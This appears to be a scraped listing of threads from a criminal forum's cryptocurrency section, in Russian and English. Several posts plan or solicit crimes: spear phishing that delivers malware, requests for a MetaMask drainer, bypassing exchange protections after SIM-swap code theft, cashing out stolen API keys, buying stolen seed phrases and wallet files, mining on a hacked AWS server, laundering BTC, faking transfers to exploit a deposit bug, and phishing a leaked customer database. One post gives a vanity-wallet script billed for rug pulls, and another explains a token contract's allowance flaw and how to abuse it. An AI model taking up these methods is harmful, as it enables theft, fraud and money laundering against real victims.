Thread ID: 65253
Created: 2022-04-05T17:22:18+0000
Last Post: 2022-04-08T09:44:09+0000
Author: lohatnikov
Replies: 7 Views: 371

Создал смарт-контракт Рулетки для тру хацкеров)

https://bscscan.com/address/0x17adeedadc28bc2b5b1f98e8e1892e754ed03e1f

Кто посягнет на 80$ ???

Just for fun! Будем продвигать смарт-контракты.
После первого победителя расскажу как это работает)

I want just ask about
ID: 67686ad7b4103b69df3799ac
Thread ID: 61298
Created: 2022-01-13T08:20:12+0000
Last Post: 2022-01-13T10:58:44+0000
Author: Azuretzx
Replies: 2 Views: 369

Hello there, ( on the begin promise me English )
I want ask how much effective and have success to cash out it and also do have somebody experience ?

Spear Phishing
I get idea to find ideal victim which post on social platforms a lot information ( something what i can use )
so its take some time and also i need have own some crypto or something what i can more easily cash out than cards

For this reason i was think about Facebook Groups or some leaked database over i can find his Social Account ( hard to explain but i sure you understand me )
also on Github is many awesome tools for example few of they "Th3inspector " "Osintgram " "sherlock " and etc there is probably better tools but this was only example

Background Report
This is reason why i love United States just use someone cards and get about your victim almost everything

After Research
- I get this and more details ( Name,Surname,Street,Telephone,Emails probably on database or Fullz which i get
background report i get info about his Family ,Works ,Where he live before and etc and other crazy stuff

Social platforms give me too a lot information post,comments and what he thinking ( also dont forget i was write on begin we need ideal victim so how i said its can take a long time )
when i use this information and trick him run my fud malware i get connection ( also how trick him depends on situation but i think its about creativity )

Guys i know its nothing new i just get idea and i want ask to your experience or some advice to give me
Thanks everyone to read my post

On the end i am open to work together and make it more epic

Есть ли спрос на создание смарт-контрактов?
ID: 67686ad7b4103b69df379994
Thread ID: 62363
Created: 2022-02-02T14:04:08+0000
Last Post: 2022-02-20T14:56:38+0000
Author: L0px1n
Replies: 6 Views: 368

Есть ли спрос на создание смарт-контрактов?

Поделитесь драйнером
ID: 67686ad7b4103b69df3798b2
Thread ID: 80764
Created: 2023-01-27T19:27:00+0000
Last Post: 2023-01-29T21:10:55+0000
Author: mmdblack
Replies: 2 Views: 367

Может у кого без дела лежит годный драйнер метамаск, поделитесь пожалуйста
На github пожалуйста не посылайте в этой помойке я все перерыл нет ничего
Кто-то скажет что его написать самому без проблем можно - можно, но мне это не дано
Так-же покупал тут драйнер якобы крутой который работает с софтом в связке (софт запускается и списывались монеты как-то) - но софт лагал по 3 раза на день и драйнер сдох
Обещаю тому кто скинет со временем хорошо отблагодарю

Looking for some SIM SWAP related help
ID: 67686ad7b4103b69df379788
Thread ID: 106749
Created: 2024-01-26T18:54:38+0000
Last Post: 2024-02-19T21:42:07+0000
Author: LifeLife
Replies: 2 Views: 366

I was able to obtain the user SMS verification code of some exchanges, but I faced a 24-hour wait to reset the user password. I did not have the user's login password. Some exchanges can reset the password through mobile phone SMS (this is I can do it), how should I bypass the 24-hour wait? Or the wait for changing the fund password.

Ищу кто выведет Huobi (API)
ID: 67686ad7b4103b69df37967c
Thread ID: 128008
Created: 2024-12-01T15:54:20+0000
Last Post: 2024-12-01T17:16:37+0000
Author: kasperskiy
Replies: 5 Views: 365

Привет, помню что ребята в 21-22 году выводили крипту с помощью апи ключей из бирж всяких
У меня есть апикей + сикрет ( баланс мне неизвестен, знаю что это кош китайца )
Если до сих пор остались такие ребята кто работает, то велком

Работаем онли через гаранта)

Выкупаем/отрабатываем криптологи, seed-фразы, биржи, холодные кошельки, wallet.dat
ID: 67686ad7b4103b69df37969f
Thread ID: 126179
Created: 2024-11-04T10:32:30+0000
Last Post: 2024-11-04T10:32:30+0000
Author: StealthWire
Replies: 0 Views: 364

Spoiler: закрыто на депозит 60000$

Выкупаем и берем в работу такие биржи как:

**Coinbase, Binance, Bybit, OKX, KuCoin, Kraken и многое другое
Также отрабатываем Exodus, Metamask, Trust, Phantom и аналоги
Работаем с wallet.dat, seco и другими файлами.

Обходим 2FA и верифы, снимаем все сети**

Писать по контактам, либо в лс форума. Условия лучше всех!

Trustwallet pop up Message Dapp
ID: 67686ad7b4103b69df3796bc
Thread ID: 123901
Created: 2024-10-01T14:26:42+0000
Last Post: 2024-10-01T14:26:42+0000
Author: jasonkarl
Replies: 0 Views: 362

Hello anyone knows how to make dapp and enable those pop ups on trustwallet? like photo attached
thanks in advance!

Миксер Биткоин
ID: 67686ad7b4103b69df37974c
Thread ID: 109674
Created: 2024-03-05T00:06:38+0000
Last Post: 2024-04-12T15:35:34+0000
Author: _Tony_montana
Replies: 3 Views: 359

Ребята посоветуйте лучшим миксер исходя с вашего опыта!

NFT not displayed on Trust wallet
ID: 67686ad7b4103b69df37974f
Thread ID: 111852
Created: 2024-04-02T23:51:10+0000
Last Post: 2024-04-09T00:40:39+0000
Author: pierre777reborn
Replies: 1 Views: 358

Does someone know how to distribute NFT on Trust Wallet by any chance?
I've tried to create a NFT on Opensea and send it but it's not displayed on my Trust Wallet

I wanna do something like the screenshot below, but I don't know the right way to do it

voucher.jpg

Вопрос! Отличие между USDT, BNB и ETH
ID: 67686ad7b4103b69df379826
Thread ID: 92833
Created: 2023-07-13T07:38:40+0000
Last Post: 2023-07-14T12:51:57+0000
Author: horyga
Replies: 5 Views: 353

Как отличить кошельки друг от друга? Например кошельки bnb, usdt начинаются с 0x, как eth. Как понять куда (bnb, usdt, eth) я отправляю крипту? Я так понимаю bnb, usdt сделаны на блокчейне eth и можно без проблем отправлять с bnb на eth, и обратно, не заморачиваясь. Или как?

Как узнать до какой даты заблокированы ERC токены
ID: 67686ad7b4103b69df379831
Thread ID: 91356
Created: 2023-06-25T21:56:02+0000
Last Post: 2023-06-28T09:37:25+0000
Author: 444
Replies: 3 Views: 353

Вопрос в теме. Есть сидд с ерц альткойном, который невозможно перевести вот такая ошибка:

1687730158753.png

Как вывести ggt?
ID: 67686ad7b4103b69df37969e
Thread ID: 126218
Created: 2024-11-04T17:03:51+0000
Last Post: 2024-11-04T17:58:38+0000
Author: SupWasap2
Replies: 2 Views: 352

Вопрос
Где сейчас можно торговать монетами ggt ?

Ищу конвертер(скрипт)
ID: 67686ad7b4103b69df3797be
Thread ID: 104546
Created: 2023-12-22T23:16:18+0000
Last Post: 2023-12-25T06:46:49+0000
Author: projectACI
Replies: 3 Views: 352

Ищу скрипт для массовой конвертации seed в privkey в различных стандартах (bip44,bip49,bip84,bip32,bip39)
Может за копейку напишет кто

Майнинг крипты на взломанном облаке
ID: 67686ad7b4103b69df379690
Thread ID: 126813
Created: 2024-11-13T15:05:02+0000
Last Post: 2024-11-13T15:05:02+0000
Author: Ангел
Replies: 0 Views: 351

Всем привет! Сегодня у меня получилось взломать сервер в облаке amazonaws.com через ssh. Сервер полностью пустой, у меня права рут, используются очень устаревшие версии. Я хочу запустить майнинг криптовалюты,так как характеристики неплохие, но я не знаю какой именно и как это сделать. Подскажите пожалуйста, как найти майнер как запустить, какую криптовалюту майнить и если возможно вывести на payeer, а оттуда уже на российскую карту

формат адреса BTC
ID: 67686ad7b4103b69df3798c9
Thread ID: 79323
Created: 2023-01-05T18:29:14+0000
Last Post: 2023-01-05T22:09:35+0000
Author: Kakko77
Replies: 4 Views: 351

подскажите кошелек или расширение где адрес битка начинается на 3
Script (P2SH): начинается с цифры 3. Пример: 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy.

Как получить быстро и надёжно перевод с США в России рубли.
ID: 67686ad7b4103b69df37997d
Thread ID: 65363
Created: 2022-04-08T04:52:07+0000
Last Post: 2022-04-09T17:28:47+0000
Author: SerRnD
Replies: 11 Views: 350

Здравствуйте. Есть доллары сша находятся в штатах, мне нужно чтобы их перевели в Россию. Раньше до санкций paypal. Позже брали биткоины и выводили их за рубли. Сейчас пишит см. скрин. Может кто знает как их перевести быстро и надёжно. делал так брал локалбиткоин сделку paypal на биток. потом выводи за рубли. Все было нормально.

North Korean Hackers Have Stolen $1.2B in Crypto Since 2017
ID: 67686ad7b4103b69df3798a8
Thread ID: 79220
Created: 2023-01-04T09:52:06+0000
Last Post: 2023-02-07T15:53:15+0000
Author: stgpp0r5
Replies: 1 Views: 347

Hackers sponsored by North Korea have stolen an estimated 1.5 trillion won ($1.2 billion) in cryptocurrencies from around the world since 2017, according to an AP News [report](https://apnews.com/article/technology-crime-business- hacking-south-korea-967763dc88e422232da54115bb13f4dc) citing South Korea's main spy agency, the National Intelligence Service (NIS).

The NIS believes that North Korea is among the best in the world when it comes to stealing crypto as the country turned its focus on cybercrime after U.N. economic sanctions were toughened in 2017 in response to its nuclear and missile tests.

Full article: [Decrypt](https://decrypt.co/117857/north-korean-hackers-have- stolen-1-2b-crypto-since-2017)

Уязвимость контракта BloggerCoin
ID: 67686ad7b4103b69df3799a3
Thread ID: 60873
Created: 2022-01-05T04:51:06+0000
Last Post: 2022-01-23T19:14:00+0000
Author: lohatnikov
Replies: 1 Views: 345

Вот пример когда люди зажали денег на нормального разраба и привлекли какого то школьника.
Полный контракт здесь - https://bscscan.com/address/0x3928a3dd66d142f312e638deee055540fe332d1a#code

Посмотрите внимательно. ничего не замечаете?

Code:Copy to clipboard

function transferFrom(address from, address to, uint value) public returns(bool) {
        require(balanceOf(from) >= value, 'balance too low');
        require(allowance[from][msg.sender] >= value, 'allowance too low');
        balances[to] += value;
        balances[from] -= value;
        emit Transfer(from, to, value);
        return true;   
}

function approve(address spender, uint value) public returns (bool) {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;   
 }

Не видите суслика а он есть)

Ну немного теории для тех кто не знал.
Переместить токены можно тремя способами:
1. transfer - сразу напрямую перемещаешь токены
2. approve + transferFrom - две транзакции. одной ты разрешаешь определенное количество токенов переместить другому адресу. и тот вызовом TransferFrom перемещает токены.
3. через permit (но он тут даже не реализован, так что не суть)

Так вот например, разрешил ты 1000 токенов переместить через approve какому нибудь dex например.
Тот переместил 1000, а потом снова переместил 1000 и снова переместил 1000....

Потому что забыли

Code:Copy to clipboard

allowance[from][msg.sender] -= value;

добавить в TransferFrom!

Да, сложно это эксплуатировать. ведь нам надо обязательно approve от жертвы получить и желательно на полный максимум. но это будет вечный approve, навсегда.

И зачем вообще лезут писать эти контракты если ничего не понимают.

Вообще, есть замечательные реализации от openzeppelin - <https://github.com/OpenZeppelin/openzeppelin- contracts/blob/master/contracts/token/ERC20/ERC20.sol>

Почему не взять готовое, газа сэкономить на 0.00001$?

Короче горит не могу. Наступило время когда клепают просто токены бесполезные без какого-либо продукта. Да даже просто токены уже не могут сделать нормально. Зато шуму то сколько BloggerCoin. Смех один.

okx аккаунты на устройстве
ID: 67686ad7b4103b69df37971b
Thread ID: 116621
Created: 2024-06-11T17:45:54+0000
Last Post: 2024-06-11T17:45:54+0000
Author: Kjiop4real
Replies: 0 Views: 344

можно ли на одном устройстве иметь сразу несколько вериф аккаунтов?
какие проблемы могут быть
люди которые шарят, жду вас

Почему некоторые сервисы ждут 2 или 3 подтверждения биткоин транзакций?
ID: 67686ad7b4103b69df3799cf
Thread ID: 58753
Created: 2021-11-11T13:38:22+0000
Last Post: 2021-11-11T14:28:10+0000
Author: RgB
Replies: 7 Views: 342

Вообще это касается не только битка, но и многих других криптовалют. Знаю что есть дабл спенд, но этот "баг" решает 1 подтверждение транзакции, так зачем многие сервисы/шопы/биржы/и тд ждут 2 а то и 3 подтверждения в сети транзакции? Еще слышал что это как-то связано с отменой блока, но в таком случае сервисам будет правильнее просить 6 подтверждений, так что скорее всего дело тут не в отмене блока

Генерация SOLANA кошелька под рагпул / скам-токен [ SRC ]
ID: 67686ad7b4103b69df37965a
Thread ID: 129298
Created: 2024-12-19T12:42:44+0000
Last Post: 2024-12-21T16:53:22+0000
Author: Julia
Replies: 2 Views: 340

Скрипт работает на CPU, используя максимум возможностей.

1. Устанавливаем Node.js LTS
2. Устанавливаем зависимости:
npm install Solana/web3.js bs58
3. Создаём файл gen.js и вставляем код, приложенный ниже.
Необходимый префикс вставляем в const prefix = "xss" (заместо xss)

JavaScript:Copy to clipboard

const { Keypair } = require("@solana/web3.js");
const bs58 = require("bs58").default || require("bs58");
const { Worker, isMainThread, parentPort, workerData } = require("worker_threads");
const { performance } = require("perf_hooks");

/**
 * @returns {Object}
 */
function generateWallet() {
  const keypair = Keypair.generate();
  const publicKey = keypair.publicKey.toBase58();
  const privateKey = bs58.encode(Buffer.from(keypair.secretKey));
  return { publicKey, privateKey };
}

/**
 * @param {string} prefix
 * @param {function} logProgress
 * @returns {Object}
 */
function generateWalletWithPrefix(prefix, logProgress) {
  if (!prefix || typeof prefix !== "string") {
    throw new Error("Prefix must be a non-empty string.");
  }

  let wallet;
  let attempts = 0;
  const startTime = performance.now();
  const probability = 1 / Math.pow(58, prefix.length);

  while (true) {
    wallet = generateWallet();
    attempts++;

    if (attempts % 1000 === 0) {
      const elapsed = (performance.now() - startTime) / 1000;
      const expectedTotalAttempts = 1 / probability;
      const remainingAttempts = Math.max(0, expectedTotalAttempts - attempts);
      const avgAttemptsPerSecond = attempts / elapsed;
      const estimatedTimeRemaining = avgAttemptsPerSecond > 0 ? remainingAttempts / avgAttemptsPerSecond : Infinity;
      logProgress(attempts, elapsed, estimatedTimeRemaining);
    }

    if (wallet.publicKey.toLowerCase().startsWith(prefix.toLowerCase())) {
      const totalTime = (performance.now() - startTime) / 1000;
      return { wallet, attempts, totalTime };
    }
  }
}

if (isMainThread) {
  const numThreads = require("os").cpus().length;
  const prefix = "xss"; // Укажите желаемый префикс

  console.log(`Starting generation with prefix: ${prefix} using ${numThreads} threads`);

  const workers = [];
  let totalAttempts = 0;
  const startTime = performance.now();
  const probability = 1 / Math.pow(58, prefix.length);
  const expectedTotalAttempts = 1 / probability;

  function updateProgress() {
    const elapsed = (performance.now() - startTime) / 1000;
    const avgAttemptsPerSecond = totalAttempts / elapsed;
    const remainingAttempts = Math.max(0, expectedTotalAttempts - totalAttempts);
    const estimatedTimeRemaining = avgAttemptsPerSecond > 0 ? remainingAttempts / avgAttemptsPerSecond : Infinity;
    process.stdout.write(`\rTotal attempts: ${totalAttempts}, Elapsed time: ${elapsed.toFixed(2)} seconds, Estimated time remaining: ${estimatedTimeRemaining.toFixed(2)} seconds`);
  }

  for (let i = 0; i < numThreads; i++) {
    const worker = new Worker(__filename, { workerData: { prefix } });
    workers.push(worker);

    worker.on("message", (result) => {
      if (result.wallet) {
        console.log(`\nWallet found by thread after ${result.attempts} attempts in ${result.totalTime.toFixed(2)} seconds:`, result.wallet);
        process.exit(0);
      } else if (result.attempts) {
        totalAttempts += result.attempts;
        updateProgress();
      }
    });

    worker.on("error", (err) => {
      console.error(`Worker error: ${err}`);
    });

    worker.on("exit", (code) => {
      if (code !== 0) {
        console.error(`Worker stopped with exit code ${code}`);
      }
    });
  }
} else {
  const { prefix } = workerData;
  const logProgress = (attempts, elapsed, estimatedTimeRemaining) => {
    const avgAttemptsPerSecond = elapsed > 0 ? (attempts / elapsed).toFixed(2) : "0.00";
    parentPort.postMessage({ attempts });
  };

  const result = generateWalletWithPrefix(prefix, logProgress);
  parentPort.postMessage(result);
}

5. Запускаем процесс node gen.js
6.Ожидаем получения приват ключа :)

p.s: Оставшееся время генерации не соответствует правде на 100%, это примерное время исходя из вероятности совпадения.

Реверс-инжиниринг байткода. Нужна помощь.
ID: 67686ad7b4103b69df3797cf
Thread ID: 101495
Created: 2023-11-02T12:34:53+0000
Last Post: 2023-11-05T19:10:32+0000
Author: Logmen
Replies: 6 Views: 339

Приветствую всех форумчан. У меня такой вопрос к специалистам по смарт контрактам и
реверс-инжинирингу байткода.

Речь идёт о контракте бота (естественно не верифицированный) в сети BSC

При декомпиляции кода на bscscan.com получается 1628 строчек читаемого кода, а потом сообщение
об ошибке # Decompilation aborted, sorry: ("decompilation didn't finish",)

Пробовал декомпилятор dedaub.com, но там получается всего 616 строчек кода.

Какие есть возможности декомпилировать байткод полностью с целью дальнейшего анализа.
Есть идея по дальнейшему сотрудничеству. Кто может помочь пишите в личку.

Вопрос знатокам
ID: 67686ad7b4103b69df379830
Thread ID: 90933
Created: 2023-06-20T05:12:08+0000
Last Post: 2023-06-28T13:35:00+0000
Author: Logmen
Replies: 4 Views: 338

Привет сообществу. Подскажите, кто в курсе. Существует какой то софт или онлайн сервис
чтобы отследить повторяющиеся (регулярные) транзы в сетях ETH / BSC не зная адреса кошеля.
Допустим чел платит 2 раза в месяц за какую нибудь фигню, такого типа.

Ищу нестандартную отработку крипто лидов
ID: 67686ad7b4103b69df37988f
Thread ID: 81820
Created: 2023-02-12T18:09:41+0000
Last Post: 2023-03-08T19:15:44+0000
Author: 309pa
Replies: 1 Views: 336

Есть доступ к базе юзеров крипто кошелка(iOS,Android).
Кошелек не простой, позиционирует себя, как холодный кошелок(на деле это не так, но выглядит что рассчитан на мамонта с криптой).
Чтобы пользоваться кошельком, нужно за Х сумму денег купить некоторую приблуду для безопасности, от куда собственно и база.
На данный момент в базе ~3000+ записей, каждый день добавляются 5-10 новых записей.

Инфа: имя, адрес, почта, иногда номер телефона, ип, девайс от куда был сделан заказ(iphone,android,pc)
Страна: US
Сид фраза кошелка: 12 слов
Мамонт покупает приблуду, потом создает кошелек.

Проспамить развод на сид фразу или стилер, я сам могу. Ищу нестандартный подход.
Доход 50/50

Помогу вывести деньги с блокированных акков бирж
ID: 67686ad7b4103b69df3799f4
Thread ID: 55647
Created: 2021-08-21T13:49:32+0000
Last Post: 2021-08-21T13:49:32+0000
Author: Tesla
Replies: 0 Views: 336

Появилась возможность вывода крипты с блокнутых по различным причинам аккаунтов криптобирж.
Процент обговаривает индивидуально.
Все вопросы в ПМ

1XSSxomGbHZhYa8VkVRnthMZNQ4JxGFCQ
ID: 67686ad7b4103b69df3798ee
Thread ID: 75221
Created: 2022-11-04T09:52:59+0000
Last Post: 2022-11-04T12:51:10+0000
Author: Julia
Replies: 2 Views: 335

Интересную штучку нашел на гитхабе, можно генерировать BTC кошельки с вашим указанным префиксом
Пример:
Address: 1XSSxomGbHZhYa8VkVRnthMZNQ4JxGFCQ
Privkey: 5KL4ajGKgDxyFLe5tosf87nxAYb9KNJUppNu1kPtmvhtefC1FYp

Если кому нужно - репозиторий ( https://github.com/samr7/vanitygen )
Думаю подойдет не только для личных целей, но и для ваших черных делишек))

Просто решил поделиться xD

blockchain.com - ебет мозги
ID: 67686ad7b4103b69df379751
Thread ID: 112170
Created: 2024-04-07T10:52:16+0000
Last Post: 2024-04-07T11:54:17+0000
Author: SamantaGo
Replies: 3 Views: 334

Сталкивались вы с такой ситуацией
Вам приходят BTC на ваш кошелек blockchain.com и они отображаются на балансе
но в истории их почему то нет (а если смотреть транзакцию по номеру кошелька то есть)
и отправить вы их не можете - они якобы есть но их нет

бывало что даже показывало в истории транзакции кошелька - но они не переводятся, вывести нельзя

Если есть такие кто пользуется blockchain.com и столкнулись с такой ситуацией есть выход

В кошельке создаем фразу для восстановления 12 слов и импортируем в кошель Exodus
после можете их выводить, кстати пробовал например в Trust wallet и нихера не получалось

Не знаю что это за х#йня но у меня именно с кошельками их Segwit такое происходит

Обсуждение нескольких ноунейм бирж
ID: 67686ad7b4103b69df3797ef
Thread ID: 97527
Created: 2023-09-07T13:23:17+0000
Last Post: 2023-09-07T20:19:12+0000
Author: demka
Replies: 2 Views: 334
  1. Quickwalletpay.com
  2. Kinnbit.com
  3. Tantobit.com
  4. Ciuntdashpay.com
  5. Raxa-remit.com
Кто то юзает такой вариант холодного кошелька?
ID: 67686ad7b4103b69df379863
Thread ID: 87213
Created: 2023-05-03T13:32:44+0000
Last Post: 2023-05-08T16:40:30+0000
Author: Tesla
Replies: 3 Views: 334

Речь о электруме который устанавливается на оффлайн комп и туда закидывается биток.
Есть у него скрытые минусы?

BTC genuine and fake wallet identification
ID: 67686ad7b4103b69df3796d7
Thread ID: 122241
Created: 2024-09-07T13:16:50+0000
Last Post: 2024-09-07T13:16:50+0000
Author: l33tproxy
Replies: 0 Views: 333

Is this btc wallet a real wallet or a fake wallet? How do you generally identify a real wallet or a fake wallet?

![blockchain.com](/proxy.php?image=https%3A%2F%2Fwww.blockchain.com%2Fexplorer- frontend%2F_next%2Fimage%3Furl%3D%2Fimages%2Fexplorer_og.png%26w%3D384%26q%3D75&hash=7afcff259027807d7dd1cbdf430f84c5&return_error=1)

[ Address: 1N8L17Z7D6bBCWkSKABDf2qqJNHT1R9fv7

](https://blockchain.com/btc/address/1N8L17Z7D6bBCWkSKABDf2qqJNHT1R9fv7)

The most popular and trusted block explorer and crypto transaction search engine.

blockchain.com blockchain.com

| Late or is right time| NFT ?
ID: 67686ad7b4103b69df3799ad
Thread ID: 61297
Created: 2022-01-13T07:29:07+0000
Last Post: 2022-01-13T07:34:53+0000
Author: Azuretzx
Replies: 1 Views: 333

I was read some stories how people make a lot money very easy over it, Do have somebody experience ?
its not problem create legit site to buy NFT but i am not sure how push customers ? over Instagram and social platforms ?

i have experience with google ads or facebook ads when i use someone card but about week they blocked account
open to work together

I can get source,get domain,vps and etc and run everything smooth
You get people ( also i help you when you tell me how )

Thanks for reply

Есть ли способы с биржи/валета транзу пустить с задержкой или возвратом USDT?
ID: 67686ad7b4103b69df379801
Thread ID: 95752
Created: 2023-08-15T20:43:26+0000
Last Post: 2023-08-15T23:04:25+0000
Author: Theriella
Replies: 10 Views: 330

Задача такая:

Транза вышла в сеть, но ушла в пендинг (ожидание подтв), и по итогу нужны варианты реализации: чтобы дошла / или наоборот вернулась (такое можно на бтц сделать, но бтц не подходит), нужно USDT_TRX (там в момент заходит всё - что делает это не реальным, или есть какие способы допустим USDT в сети ERC 20 организовать)?

Для чего нужно: есть сервисы , в которых дыра на входящий платёж в крипте, ранее в бтц было, но пофиксили, кидаешь транзу с возвратом - но на деп они зачисляются, есть потенциал с другой криптой, но строго тезер, есть ли какие- то решения? (кроме фейк токенов), если будет способ - готов оплатить через гаранта

сколько не изучал не нашёл лазеек в блокчейне трона и USDT в целом, возможно кто-то делал такое? прокатить фишка может только с USDT там в любой сети.

No middle Man payment Gateway
ID: 67686ad7b4103b69df3797de
Thread ID: 99763
Created: 2023-10-10T06:35:45+0000
Last Post: 2023-10-10T16:36:22+0000
Author: antiheros
Replies: 3 Views: 329

I would like to build my own payment gateway to directly receive my crypto in my wallet for example Exodus, the principle is simple once the payment is made the script monitors the transactions carried out on my address using a block explorer and collects the amount and displays a confirmation message, does anyone have a solution for this?

bitpay and paypal api
ID: 67686ad7b4103b69df379806
Thread ID: 93877
Created: 2023-07-24T22:57:17+0000
Last Post: 2023-08-13T14:04:43+0000
Author: bongiorno
Replies: 2 Views: 328

You must have at least 1 reaction(s) to view the content.

VIRUS и $BOLT - фулл провал?
ID: 67686ad7b4103b69df3798ad
Thread ID: 81211
Created: 2023-02-03T19:36:08+0000
Last Post: 2023-02-03T19:43:56+0000
Author: Evirain
Replies: 2 Views: 328

ВНИМАНИЕ - в данной теме я высказываю своё личное мнение. Оно может не совпадать с вашим.

Вообщем. Есть две валюты VIRUS и $BOLT.
VIRUS - $VIRUS — это первая мемкойна TON для людей. Мы устали от сложной токеномики и хотели сделать забавную мемкойну, где каждый получит равные шансы.

Простите ЧТА?!? Типо зачем создавать монету просто для.... Нет постойте, для ЧЕГО??? Типо вы видели курс обмена? 1 TON > 1939855.267424706. Это что? Типо вы создали койн только для того чтобы люди чувствовали МАТЕРИАЛЬНОЕ КОЛИЧЕСТВО валюты на кошельке? И они на курс положили огромный BOLT. Даже если не обращать внимания на курс то было голосование - Screenshot_20230203_222714_Telegram.jpg.
И этот опрос прямо определил - авторы делаю упор в ДЕМОКРАТИЮ или же дело КОРУПЦИИ? И да я подставил слово "корупция" только из за того что мне 14 годиков и я не могу подобрать слово для объяснения ситуации. Моё мнение заключается в том что авторы завершили голосование когда им это стало удобно. Как по мне за 1 вариает топили больше людей. Но дело в одном промежутке когда за 2 вариант топило на несколько процентов больше. И они "сожгли" LP токены. Но тут новость - "2. Мы решили забрать половину

Но не ради 9700 TON, а ради 13 000 000 000 VIRUS, которые понадобятся при следующем листинге (инсайд)". Хммм, мне кажется где то тут пиздеж. Вообщем - как по мне VIRUS провальная монета не имеющая будущего для крупных трейдеров.

Возможно ли обойти автовывод?
ID: 67686ad7b4103b69df37996e
Thread ID: 66851
Created: 2022-05-10T23:08:02+0000
Last Post: 2022-05-14T16:53:23+0000
Author: SupervisorV
Replies: 3 Views: 328

Возможно ли обойти автовывод через смарт-контракт может? Кидаю монету на кошель, моментально списываются, хотелось бы узнать, может можно через смарт- контракт, замедлить или обойти.
Сеть BSC. (Metamask)

Зависший обмен криптовалюты. Нужен толковый юрист
ID: 67686ad7b4103b69df379939
Thread ID: 70329
Created: 2022-07-19T09:28:15+0000
Last Post: 2022-07-21T08:33:38+0000
Author: rrv321
Replies: 4 Views: 326

Делали обмен через биржу Великобритания
биток в Tether
завис обмен, попросили вериф дропа сделать
дроп сделал вериф, они теперь морозяться и не выводят бабки

Нужен толковый юрист или человек в теме как вывести зависшие бабки
Все вопросы в личку и по оплате тоже

VPS Bitcoin Core
ID: 67686ad7b4103b69df379707
Thread ID: 118615
Created: 2024-07-11T06:52:30+0000
Last Post: 2024-07-11T06:52:30+0000
Author: DimmuBurgor
Replies: 0 Views: 322

Can someone please advise if there is a hosting service that offers a config that comes with Core or synced Blockchain node

Где брать историч. данные для крипты?
ID: 67686ad7b4103b69df37975b
Thread ID: 111212
Created: 2024-03-24T12:51:30+0000
Last Post: 2024-03-26T16:48:44+0000
Author: bubukalim
Replies: 2 Views: 319

Загорелся обучиться написанию бота для торговли криптовалютой.
Начал разбираться, писать...
Для получения исторических данных intraday раньше, помню, был Alpha Vantage. Сейчас он стал платным
Не подскажите, где можно найти внутридневные исторические данные по крипте?

подделка сделки отправки крипты
ID: 67686ad7b4103b69df379687
Thread ID: 127517
Created: 2024-11-24T10:41:03+0000
Last Post: 2024-11-24T10:41:03+0000
Author: Ga1nts
Replies: 0 Views: 317

**Всем привет. Хотел бы узнать или кто то мог бы поделиться опытом своим. Какие есть монеты которые можно подделать перевод.
С отменой или фейк переводом. Кому не трудно поделитесь.**​

any guide how launder btc ..?
ID: 67686ad7b4103b69df379844
Thread ID: 90041
Created: 2023-06-08T22:54:29+0000
Last Post: 2023-06-08T23:48:42+0000
Author: shelbey20
Replies: 4 Views: 317

can anyone give me guide to how laundering dirty BTC .. without btc mixer , I want to make it clean manually by me without any 3rd party .
I want to exchange it to usdt but im afraid to move it from other wallet .
any help guys ? and don't try to think about steal for me or something please stay away this topic for people who like to help may god help you in other things

Список всех сайтов использующих coinpayments
ID: 67686ad7b4103b69df37984b
Thread ID: 89203
Created: 2023-05-29T17:31:31+0000
Last Post: 2023-06-01T18:42:50+0000
Author: 707
Replies: 4 Views: 317

Вопрос в теме, есть у кого идеи как спарсить сайты где подключена оплата с помощью данного платежного сервиса?

Лучшее время криптовалют сейчас - ч5
ID: 67686ad7b4103b69df37989f
Thread ID: 82444
Created: 2023-02-21T11:13:20+0000
Last Post: 2023-02-21T11:13:20+0000
Author: malloy05
Replies: 0 Views: 317

Stablecoins, CBDCs Spotlight​

![](/proxy.php?image=https%3A%2F%2Frune- ankle-d9b.notion.site%2Fimage%2Fhttps%253A%252F%252Fs3-us- west-2.amazonaws.com%252Fsecure.notion- static.com%252Fae7f5a3b-92a9-4e8b-b92f-8bf40c05c447%252FUntitled.jpeg%3Fid%3Db2e5401e-96ca-41b1-80b3-6edf899dfbbc%26table%3Dblock%26spaceId%3Dda170c8a-a73c-42b3-85ad-0342039b0128%26width%3D2000%26userId%3D%26cache%3Dv2&hash=330d90c4e614db4dfa971f5c0c580fb1)![](/proxy.php?image=https%3A%2F%2Frune- ankle-d9b.notion.site%2Fimage%2Fhttps%253A%252F%252Fs3-us- west-2.amazonaws.com%252Fsecure.notion- static.com%252Fae7f5a3b-92a9-4e8b-b92f-8bf40c05c447%252FUntitled.jpeg%3Fid%3Db2e5401e-96ca-41b1-80b3-6edf899dfbbc%26table%3Dblock%26spaceId%3Dda170c8a-a73c-42b3-85ad-0342039b0128%26width%3D2000%26userId%3D%26cache%3Dv2&hash=330d90c4e614db4dfa971f5c0c580fb1)
Цифровая валюта - фундамент и проводник крипторынка, что интересно, пока происходят тяжелейшие события, использование стейблкоинов только нарастает :

Объем сделок с использованием стейблкоинов [приблизился](https://coinmetrics.substack.com/p/state-of-the-network- issue-183) к ATH.
А что же происходит внутри самого сегмента?
Обращусь к Alex Lebed фаундеру нашего дружеского проекта StableUnit , Проект поддержали Fundamental Labs.
Вернемся к Алексу: он разработал**$1B+** контракты, работал в 1inch, Amazon, Facebook.

Маскот stableunit
Мы обсудили будущее стейблкоинов и какая роль в этом у StableUnit, мнениеАлекса:
Cейчас на медвежьем рынке все упало, а стейблокины продолжают жить и здравствовать (занимать важную роль в рынке) Однако есть две больших проблемы :
Среди ±$150МЛРД стейблкоинов:
95% могут заморозить любой адрес
4.5% могут сломать collateration: $DAI или $FRAX.
0.3% технически сложные непопулярные вроде $LUSD.
У $USDT , $USDC и $DAI в сумме 6.5 млн пользователей, из них менее 30 тыс используют эти деньги для фарминга, остальные холдят.
Очень низкая адоптация фарминг-протоколов , потому что фарминг очень сложно понять для обычных пользователей, им же сложно отличить рискованные решения.
Поэтому мы ожидаем, что Stable Unit очень хорошо решает эти проблемы. Он не замораживает активы и дает дружественный новичкам опыт использования.
На рынке есть два интересных проекта:
Лендинг протокол Aave и DEX Curve.
И те, и те выпускают для их существующих пользователей стейблкоины, которые позволяют им давать бенефиты.
Например Aave , когда ты занимаешь $USDT , ты платишь тем людям, которые застейкали $USDT.
Если будешь занимать нативный стейбл Aave , ты платишь сильно меньше. Таким образом ты потом можешь просто его обменять на Curve на $USDT
Мы думаем, что Aave и Curve будут продвигать идею о том, что централизованные ассеты (CBDCs) - рискованный актив.
Таким образом 0.3% децентрализованных стейблкоинов может стать 3 %, и вырасти вплоть до 30 %, есть потенциал роста очень массивный.
